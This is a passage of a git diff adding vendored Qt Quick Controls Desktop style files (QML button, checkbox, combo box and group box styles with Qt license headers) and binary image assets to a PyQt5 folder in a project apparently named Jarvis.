Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/progress-indeterminate.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/rightanglearrow.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/rightanglearrow.png new file mode 100644 index 00000000..52f1a241 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/rightanglearrow.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/scrollbar-handle-horizontal.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/scrollbar-handle-horizontal.png new file mode 100644 index 00000000..67f582d8 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/scrollbar-handle-horizontal.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/scrollbar-handle-transient.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/scrollbar-handle-transient.png new file mode 100644 index 00000000..34e7dd6a Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/scrollbar-handle-transient.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/scrollbar-handle-vertical.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/scrollbar-handle-vertical.png new file mode 100644 index 00000000..280dac50 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/scrollbar-handle-vertical.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/slider-groove.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/slider-groove.png new file mode 100644 index 00000000..a9d059b7 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/slider-groove.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/slider-handle.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/slider-handle.png new file mode 100644 index 00000000..0d4ee9c5 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/slider-handle.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/spinner_large.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/spinner_large.png new file mode 100644 index 00000000..8e6a7738 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/spinner_large.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/spinner_medium.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/spinner_medium.png new file mode 100644 index 00000000..48a24d58 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/spinner_medium.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/spinner_small.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/spinner_small.png new file mode 100644 index 00000000..c3e86dc6 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/spinner_small.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/tab.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/tab.png new file mode 100644 index 00000000..ce116cc6 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/tab.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/tab_selected.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/tab_selected.png new file mode 100644 index 00000000..e0cb16a6 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/tab_selected.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ApplicationWindowStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ApplicationWindowStyle.qml new file mode 100644 index 00000000..455cafb9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ApplicationWindowStyle.qml @@ -0,0 +1,42 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick.Controls.Styles 1.3 + +ApplicationWindowStyle { } diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ApplicationWindowStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ApplicationWindowStyle.qmlc new file mode 100644 index 00000000..2c56326f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ApplicationWindowStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/BusyIndicatorStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/BusyIndicatorStyle.qml new file mode 100644 index 00000000..b73729d7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/BusyIndicatorStyle.qml @@ -0,0 +1,42 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick.Controls.Styles 1.1 + +BusyIndicatorStyle { } diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/BusyIndicatorStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/BusyIndicatorStyle.qmlc new file mode 100644 index 00000000..373da7a3 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/BusyIndicatorStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ButtonStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ButtonStyle.qml new file mode 100644 index 00000000..21fc28b3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ButtonStyle.qml @@ -0,0 +1,62 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +Style { + property Component panel: StyleItem { + id: styleitem + elementType: "button" + sunken: control.pressed || (control.checkable && control.checked) + raised: !(control.pressed || (control.checkable && control.checked)) + hover: control.hovered + text: control.iconSource === "" ? "" : control.text + hasFocus: control.activeFocus + hints: control.styleHints + // If no icon, let the style do the drawing + activeControl: control.isDefault ? "default" : "f" + + properties: { + "icon": control.__iconAction.__icon, + "menu": control.menu + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ButtonStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ButtonStyle.qmlc new file mode 100644 index 00000000..84f2cea0 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ButtonStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/CalendarStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/CalendarStyle.qml new file mode 100644 index 00000000..ec22f775 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/CalendarStyle.qml @@ -0,0 +1,42 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick.Controls.Styles 1.1 + +CalendarStyle {} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/CalendarStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/CalendarStyle.qmlc new file mode 100644 index 00000000..fc74dcd9 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/CalendarStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/CheckBoxStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/CheckBoxStyle.qml new file mode 100644 index 00000000..7ed68699 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/CheckBoxStyle.qml @@ -0,0 +1,91 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +Style { + property Component panel: Item { + anchors.fill: parent + + implicitWidth: styleitem.implicitWidth + implicitHeight: styleitem.implicitHeight + baselineOffset: styleitem.baselineOffset + StyleItem { + id: styleitem + elementType: "checkbox" + sunken: control.pressed + on: control.checked || control.pressed + hover: control.hovered + enabled: control.enabled + hasFocus: control.activeFocus && styleitem.style == "mac" + hints: control.styleHints + properties: {"partiallyChecked": (control.checkedState === Qt.PartiallyChecked) } + contentHeight: textitem.implicitHeight + contentWidth: Math.ceil(textitem.implicitWidth) + 4 + property int indicatorWidth: pixelMetric("indicatorwidth") + (macStyle ? 2 : 4) + property bool macStyle: (style === "mac") + + Text { + id: textitem + text: control.text + anchors.left: parent.left + anchors.leftMargin: parent.indicatorWidth + anchors.verticalCenter: parent.verticalCenter + anchors.verticalCenterOffset: parent.macStyle ? 1 : 0 + anchors.right: parent.right + renderType: Text.NativeRendering + elide: Text.ElideRight + enabled: control.enabled + color: SystemPaletteSingleton.windowText(control.enabled) + StyleItem { + elementType: "focusrect" + anchors.margins: -1 + anchors.leftMargin: -2 + anchors.top: parent.top + anchors.left: parent.left + anchors.bottom: parent.bottom + width: textitem.implicitWidth + 3 + visible: control.activeFocus + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/CheckBoxStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/CheckBoxStyle.qmlc new file mode 100644 index 00000000..51973ebf Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/CheckBoxStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ComboBoxStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ComboBoxStyle.qml new file mode 100644 index 00000000..cd5ce47d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ComboBoxStyle.qml @@ -0,0 +1,127 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Window 2.1 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 +import "." as Desktop + +Style { + readonly property ComboBox control: __control + property int renderType: Text.NativeRendering + padding { top: 4 ; left: 6 ; right: 6 ; bottom:4 } + property Component panel: Item { + property bool popup: !!styleItem.styleHint("comboboxpopup") + property color textColor: SystemPaletteSingleton.text(control.enabled) + property color selectionColor: SystemPaletteSingleton.highlight(control.enabled) + property color selectedTextColor: SystemPaletteSingleton.highlightedText(control.enabled) + property int dropDownButtonWidth: 24 + + implicitWidth: 125 + implicitHeight: styleItem.implicitHeight + baselineOffset: styleItem.baselineOffset + anchors.fill: parent + StyleItem { + id: styleItem + + height: parent.height + width: parent.width + elementType: "combobox" + sunken: control.pressed + raised: !sunken + hover: control.hovered + enabled: control.enabled + // The style makes sure the text rendering won't overlap the decoration. + // In that case, 35 pixels margin in this case looks good enough. Worst + // case, the ellipsis will be truncated (2nd worst, not visible at all). + text: elidedText(control.currentText, Text.ElideRight, parent.width - 35) + hasFocus: control.activeFocus + // contentHeight as in QComboBox + contentHeight: Math.max(Math.ceil(textHeight("")), 14) + 2 + + hints: control.styleHints + properties: { + "popup": control.__popup, + "editable" : control.editable + } + } + } + + property Component __popupStyle: MenuStyle { + __menuItemType: "comboboxitem" + } + + property Component __dropDownStyle: Style { + id: dropDownStyleRoot + property int __maxPopupHeight: 600 + property int submenuOverlap: 0 + property int submenuPopupDelay: 0 + + property Component frame: StyleItem { + elementType: "frame" + Component.onCompleted: { + var defaultFrameWidth = pixelMetric("defaultframewidth") + dropDownStyleRoot.padding.left = defaultFrameWidth + dropDownStyleRoot.padding.right = defaultFrameWidth + dropDownStyleRoot.padding.top = defaultFrameWidth + dropDownStyleRoot.padding.bottom = defaultFrameWidth + } + } + + property Component menuItemPanel: StyleItem { + elementType: "itemrow" + selected: styleData.selected + + implicitWidth: textItem.implicitWidth + implicitHeight: textItem.implicitHeight + + StyleItem { + id: textItem + elementType: "item" + contentWidth: textWidth(text) + contentHeight: textHeight(text) + text: styleData.text + selected: parent ? parent.selected : false + } + } + + property Component __scrollerStyle: Desktop.ScrollViewStyle { } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ComboBoxStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ComboBoxStyle.qmlc new file mode 100644 index 00000000..2d6ed8a2 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ComboBoxStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/FocusFrameStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/FocusFrameStyle.qml new file mode 100644 index 00000000..59f52e60 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/FocusFrameStyle.qml @@ -0,0 +1,55 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype FocusFrameStyle + \internal + \inqmlmodule QtQuick.Controls.Styles +*/ +StyleItem { + property int margin: -3 + anchors.fill: parent + elementType: "focusframe" +} + + diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/FocusFrameStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/FocusFrameStyle.qmlc new file mode 100644 index 00000000..8fd3f9f9 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/FocusFrameStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/GroupBoxStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/GroupBoxStyle.qml new file mode 100644 index 00000000..b3128933 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/GroupBoxStyle.qml @@ -0,0 +1,76 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + + +Style { + readonly property GroupBox control: __control + + property var __style: StyleItem { id: style } + property int titleHeight: 18 + + Component.onCompleted: { + var stylename = __style.style + if (stylename.indexOf("windows") > -1) + titleHeight = 9 + } + + padding { + top: Math.round(Settings.dpiScaleFactor * (control.title.length > 0 || control.checkable ? titleHeight : 0) + (style.style == "mac" ? 9 : 6)) + left: Math.round(Settings.dpiScaleFactor * 8) + right: Math.round(Settings.dpiScaleFactor * 8) + bottom: Math.round(Settings.dpiScaleFactor * 7 + (style.style.indexOf("windows") > -1 ? 2 : 0)) + } + + property Component panel: StyleItem { + anchors.fill: parent + id: styleitem + elementType: "groupbox" + text: control.title + on: control.checked + hasFocus: control.__checkbox.activeFocus + activeControl: control.checkable ? "checkbox" : "" + properties: { "checkable" : control.checkable , "sunken" : !control.flat} + border {top: 32 ; bottom: 8} + Accessible.role: Accessible.Grouping + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/GroupBoxStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/GroupBoxStyle.qmlc new file mode 100644 index 00000000..04b57990 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/GroupBoxStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/MenuBarStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/MenuBarStyle.qml new file mode 100644 index 00000000..8e517c8a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/MenuBarStyle.qml @@ -0,0 +1,76 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public 